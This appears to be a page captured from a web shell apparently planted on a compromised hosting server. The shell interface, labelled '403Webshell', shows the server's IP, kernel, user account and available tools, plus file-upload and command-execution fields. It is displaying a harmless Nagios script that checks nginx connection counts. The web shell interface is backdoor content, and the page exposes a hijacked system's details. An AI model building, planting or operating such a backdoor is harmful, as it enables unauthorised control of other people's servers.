403Webshell
Server IP : 172.67.157.124  /  Your IP : 216.73.216.213
Web Server : LiteSpeed
System : Linux s12482.usc1.stableserver.net 5.14.0-570.32.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Aug 6 11:30:41 EDT 2025 x86_64
User : snownico ( 1231)
PHP Version : 8.2.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib64/nagios/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/nagios/plugins/check_a2_whmcs_nginx_connections.sh
#!/bin/bash 
# Ref - SYSENG-27485 - send nginx connection status to mother!
# by - sbhat
#

n_data=$(curl -s --connect-timeout 5 https://my.a2hosting.com/nginx_status)
active_conn=$(echo -e ${n_data} | grep "Active connections:" | awk '{print $3}')
reading_conn=$(echo -e ${n_data} | grep "Reading:" | awk '{print $12}')
writing_conn=$(echo -e ${n_data} | grep "Writing:" | awk '{print $14}')
waiting_conn=$(echo -e ${n_data} | grep "Waiting:" | awk '{print $NF}')

# Determine status for active connections
if [ "$active_conn" -gt 200 ]; then
  echo "check_a2_whmcs_nginx_connections - nginx has more than 200 active connections"
  exit 2
else
  echo "check_a2_whmcs_nginx_connections - nginx has less than 200 active connections"
  exit 0
fi


Youez - 2016 - github.com/yon3zu
LinuXploit